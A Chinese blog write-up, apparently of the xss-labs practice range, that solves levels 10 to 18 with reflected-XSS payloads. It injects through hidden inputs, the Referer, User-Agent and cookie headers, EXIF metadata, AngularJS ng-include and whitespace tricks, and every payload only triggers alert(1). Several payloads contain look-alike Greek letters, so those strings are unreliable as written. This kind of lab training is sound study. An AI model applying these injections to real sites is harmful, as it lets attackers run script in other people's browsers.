XSS挑战之旅(10-18)

第十关

构造url提交

level10.php?keyword=<script>alert(1)</script>

首先ctrl+U看一下页面源码:

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

可以看到尖括号用实体符号表示了。但是页面有三个隐藏的input。试了一下发现只有第三个会被页面处理。
再看一下后台的源码:

<?php 
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
?>

这里的t_sort参数是以get方式接收的,并且插入到第三个input的value中。(还没有任何防护)

payload

level10.php?keyword=123&t_sort=" οnclick="alert(1)" type="text

第十一关

本关和第十关相似,也有几个隐藏的input,但是不能用第十关的payload了。

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&quot; οnclick=&quot;alert(1)&quot; type=&quot;text" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>

这里可以看到,t_sort中的引号被替换为了字符实体。但是这里多了一个t_ref的input,可以尝试在这个input中注入。但是通过多次测试,发现后台好像没有接受这个t_ref的值。但是有时候t_ref却会从后台接收到值而显示。
如下图:
在这里插入图片描述
当把第一个input的type改成text后传进去一个123条后

在这里插入图片描述
发现页面返回给了t_ref一个值。

http://192.168.0.106:7788/xss/xss/level11.php?t_link=123&t_history=123&t_sort=123&keyword=good%20job!

这里可以发现:t_ref最终的结果就是本次请求的链接。
到这里就没思路了,用burp抓个包看看。

在这里插入图片描述
这就清晰了,发现t_ref和请求中的referer字段是相同的。那就构造一个事件试一下
在这里插入图片描述
referer字段后面添加payload

" οnclick="alert(1)" type="text

在这里插入图片描述
最终通关成功!!!

接着看一下源码,分析一下

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里是接收了请求头的referer字段,然后将尖括号置空最后返回给input
而这里直接构造url访问,浏览器是不会给服务器传referer字段的。必须要从页面中跳转,才会有referer字段的生成。

不知道referer的可以看一下这篇文章HTTP请求头中的referer字段
或者百度一下。


第十二关

这个和第十一关类似,此处的注入点是请求头中的user-agent字段。burp拦截后修改其值,添加一个弹框事件即可。
在这里插入图片描述


第十三关

先看一下网站源码

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
</form>

这里多了一个t_cook标签。根据前两关的经验,这东西应该就是注入点。
但是怎么提交上去呢?修改type是提交不了的。通过burp抓包发现,此字段的value取值于网页发送的cookie,因此在cookie中嵌入事件构成弹框。
在这里插入图片描述


第十四关

本关考察的知识点是:exif xss

由于靶场给的链接不能用了,自己找了些这方面的博客,然后简单的复现了一下这个漏洞。博客链接我会放到下面。

首先了解一下EXIF

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 -------百度百科

大概意思就是.jpg文件中的对于照片相关的属性可以人为的更改,如下图:
在这里插入图片描述
我们把照相机制造商的内容该成了一段js代码。这样当浏览器访问图片时,在解析图片详细信息的时候会触发js代码执行js脚本。

为了复现这个漏洞,在这里我们需要用到一个chrome插件,EXIF Viewer Classic。商店搜索下载一下。
在这里插入图片描述
安装好以后,去网上下载一个.jpg的文件,然后把属性改成js代码。传到自己搭建的服务器上。

然后用chrome访问这张图片。
结果如图:
在这里插入图片描述

1. 【巨人肩膀上的矮子】XSS挑战之旅—游戏通关攻略(更新至18关)
2. 讲讲EXIF Viewer XSS漏洞的来龙去脉
3. exif xss 复现


第十五关

通过这一关学习到了一个新的知识点:angularJS ng-include指令。
作用:

ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。—菜鸟教程

源码:

<?php 
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

可以先给level2.php传进去看看效果:
在这里插入图片描述
看到这里是把level2.php的页面也嵌进去了。那么该页面就可以利用level2.php的漏洞通关。

在url中构造好payload

/level15.php?src=%27level2.php?keyword=%22%20οnclick=%22alert(1)%27

菜鸟教程:ng-include指令


第十六关

通过测试,本关是将script和空格都进行了改写。
看网页源码:

<center>1</center><center><img src=level16.png></center>

被插入的地方还是位于center标签内。这里的思路是构造新的标签弹框。
payload

level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert(1)>

利用html编码的空白字符%0a代替空格。


第十七关

通过网页源码可以发现,传入的参数在下方输出到页面上:

<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

网页后台又对参数进行了实体编码转换,这里构造事件进行弹框。
payload

level17.php?arg01=a&arg02=1%20οnmοuseοver=alert(1)

第十八关

本关和十七关相同。
payload

level18.php?arg01=a&arg02=b%20οnmοuseοver=alert(1)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值